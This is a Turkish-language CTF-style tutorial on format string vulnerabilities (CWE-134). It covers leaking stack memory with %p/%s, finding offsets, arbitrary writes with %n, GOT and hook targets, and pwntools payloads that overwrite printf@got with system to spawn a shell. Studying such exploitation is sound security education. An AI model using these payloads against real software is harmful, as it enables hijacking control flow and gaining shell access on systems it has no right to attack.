Format String
CWE-134 difficulty: orta
Format string zafiyeti, kullanıcı girdisinin doğrudan bir format fonksiyonuna (printf(user)) format dizesi olarak verilmesiyle oluşur. Saldırgan %x, %s, %n gibi belirteçlerle belleği okuyabilir ve %n ile keyfi adrese yazabilir. ASLR/PIE/canary dünyasında hem leak hem write primitive’dir.
Zafiyetli desen
Section titled “Zafiyetli desen”printf(user_input); // YANLIŞ — format = attackerfprintf(stderr, user_input);syslog(LOG_ERR, user_input);// Doğrusu: printf("%s", user_input);Bellek okuma (leak)
Section titled “Bellek okuma (leak)”# Stack'ten değer sızdırma (offset bulma)%p.%p.%p.%p.%p.%p.%p.%pAAAA.%6$p # 6. argüman = 0x41414141 ise offset=6%7$s # o konumdaki pointer'ın gösterdiği string%8$lx # canary / libc adresi adaylarıfrom pwn import *io = process('./chall')io.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')print(io.recvline())Bu, ASLR/PIE/canary bypass için gereken adres/canary sızıntısını verir.
Offset bulma (pwntools)
Section titled “Offset bulma (pwntools)”from pwn import *
def exec_fmt(payload): io = process('./chall') io.sendline(payload) return io.recvall(timeout=1)
autofmt = FmtStr(exec_fmt)log.info(f'offset = {autofmt.offset}')Manuel: AAAA + %N$p ile N’yi artır; 0x41414141 görününce offset = N.
Keyfi yazma (%n)
Section titled “Keyfi yazma (%n)”-
Yazma offset’ini bul — kontrol ettiğin girdinin stack’te kaçıncı argüman konumunda olduğunu %N$p ile tespit et.
-
Hedef adresi yerleştir — payload başında/sonunda yazmak istediğin adresi koy (endian’a dikkat, x86-64 p64 ).
-
%n ile yaz — yazılan bayt sayısı = değer; %
<sayı>c ile sayacı ayarla, %hn / %hhn ile 2/1 baytlık parçalı yazım. pwntools:from pwn import *elf = ELF('./chall')payload = fmtstr_payload(offset, { elf.got['exit']: elf.sym.win })# veya: { elf.got['printf']: libc.sym.system } -
Tetikle — ezilen GOT/exit/hook bir sonraki çağrıda yeni hedefe atsın.
Parçalı yazım mantığı
Section titled “Parçalı yazım mantığı”Hedef değer: 0x401234%hhn ile bayt bayt: düşükten yükseğe veya pwntools sıralamasıHer %hhn, o ana kadar printf'in yazdığı karakter sayısının düşük baytını yazar# Manuel fikir (basitleştirilmiş)# [addr][addr+1][addr+2]... + padding + %N$hhn ...writes = { elf.got.puts: win }payload = fmtstr_payload(6, writes, write_size='byte')Tipik hedefler
Section titled “Tipik hedefler”| Hedef | Koşul | Etki |
|---|---|---|
| GOT (printf/puts/exit) | Partial RELRO | kontrol akışı |
| saved RIP (stack) | stack addr leak | doğrudan ROP |
.dtors / .fini_array | yazılabilir | exit’te hijack |
__malloc_hook / __free_hook | eski glibc | sonraki alloc/free |
| canary (okuma) | — | stack overflow hazırlığı |
Full RELRO GOT’u engeller; o durumda stack RIP veya heap/hook alternatiflerine geç.
Leak → libc → system örneği
Section titled “Leak → libc → system örneği”# 1) libc leakio.sendline(b'%7$s'.ljust(8, b'A') + p64(elf.got.puts))# veya positional ile got'u argüman yapacak düzen
# 2) fmtstr_payload ile printf@got → systempayload = fmtstr_payload(offset, { elf.got.printf: libc.sym.system })io.sendline(payload)io.sendline(b'/bin/sh') # sonraki "printf" aslında system